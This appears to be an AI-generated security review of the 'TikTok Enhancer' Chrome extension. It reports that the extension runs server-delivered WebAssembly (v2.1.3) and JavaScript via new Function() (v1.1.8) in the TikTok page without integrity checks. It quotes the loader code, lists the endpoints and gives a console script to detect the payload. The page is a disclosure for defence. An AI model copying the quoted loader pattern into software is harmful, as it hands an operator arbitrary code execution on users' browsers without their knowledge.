Is TikTok Enhancer - Editing News & Re:TikTok safe?

Critical risk

TikTok Enhancer is critical risk. v2.1.3 fetches a WebAssembly binary in its heartbeat response and runs it in the TikTok page with no integrity check. v1.1.8 ran server-sent JS via new Function() instead. Both let the operator run arbitrary code on active installs.

Editing Newsv2.1.4Chrome Web Store
94Risk

AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.

Publishers can request a review.

Findings

Server delivers and executes arbitrary code in the browser

CriticalunwantedCWE-506Dynamic sandbox

v2.1.3 fetches a WebAssembly binary in its heartbeat response and runs it in the TikTok page with no integrity check. v1.1.8 ran server-sent JS via new Function() instead.

What actually happens

You did this

You install the extension and authenticate with a paid subscription.

Once confirmed as subscribed, the content script begins a periodic heartbeat loop with the developer's server.

The extension did this

The server can return a WebAssembly binary in the heartbeat reply, which the extension compiles and runs immediately in the TikTok page.

There is no signature verification, no hash check, and no notification to the user. The payload can be changed server-side at any time.

The code that does this

WebAssembly execution path, assets/index.ts-BALobTrH.js (version 2.1.3)

Readable version
// From the heartbeat response handler (index.ts-BALobTrH.js, lines 493-499)// t = response from POST https://v2.editingnews.com/api/heartbeatif (t.wasm) {  try {    // Decode the server-supplied base64 blob into raw bytes    const wasmBytes = Uint8Array.from(atob(t.wasm), c => c.charCodeAt(0));    // Compile and instantiate with no integrity verification    const { instance } = await WebAssembly.instantiate(wasmBytes);    // Store exported functions for repeated execution on each heartbeat cycle    I = instance.exports.h;  // invoked as: I(0, challengeBytes.length, 0)    P = instance.exports.m;  // used as a shared memory buffer  } catch {    return;  }}

The code that does this

Earlier mechanism, new Function() execution in version 1.1.8 loader.js

Readable version
// From loader.js (version 1.1.8), lines 18-24// chunks delivered by background.js from api.editingnews.com/api/secure/chunk/{name}i.forEach(chunk => {  try {    // Server-provided JavaScript string executed directly in the page context    new Function('window', 'document', chunk.code)(window, document);  } catch (e) {    // Silent failure  }});

Server endpoints that can deliver executable payloads

    • v2.editingnews.com

    Current (v2.1.3) heartbeat endpoint. POST /api/heartbeat response may include a wasm field, a base64 WebAssembly binary compiled and executed client-side.

    • api.editingnews.com

    Earlier (v1.1.8) chunk delivery endpoint. POST /api/secure/chunks and /api/secure/chunk/{name} returned raw JavaScript strings executed via new Function() in the TikTok page.

Check if you're affected

Intercepts the heartbeat response from v2.editingnews.com and alerts if a wasm field is present in the reply, indicating the server is pushing executable Wasm to the browser.

Requires
  • Chrome DevTools
  • Active paid subscription to the extension
detect-wasm-heartbeat.js · js
// Run in the browser DevTools console on any tiktok.com page while// the TikTok Enhancer extension is active and you are subscribed.// It monkey-patches fetch to intercept the heartbeat response.(function() {  const _fetch = window.fetch;  window.fetch = async function(url, options) {    const response = await _fetch.apply(this, arguments);    try {      const urlStr = typeof url === 'string' ? url : url?.url ?? '';      if (urlStr.includes('editingnews.com') && urlStr.includes('heartbeat')) {        const clone = response.clone();        const data = await clone.json();        if (data && data.wasm) {          console.warn(            '[ALERT] Heartbeat response contains a Wasm payload.',            'Base64 length:', data.wasm.length,            'Decoded bytes:', Math.round(data.wasm.length * 0.75),            'Full payload:', data.wasm          );        } else {          console.log('[OK] Heartbeat response — no Wasm field present.');        }      }    } catch (e) {}    return response;  };  console.log('Heartbeat monitor active. Waiting for the extension to send a heartbeat...');})();
How to run it
  1. 1Open tiktok.com in Chrome with the extension active.
  2. 2Open DevTools, Console.
  3. 3Paste and run this script.
  4. 4Wait up to 60s for a heartbeat cycle.
  5. 5An [ALERT] line confirms the server sent executable Wasm.
Updated 21 September 2026kflflcpnnkojolplllfgcjobkgjmpdon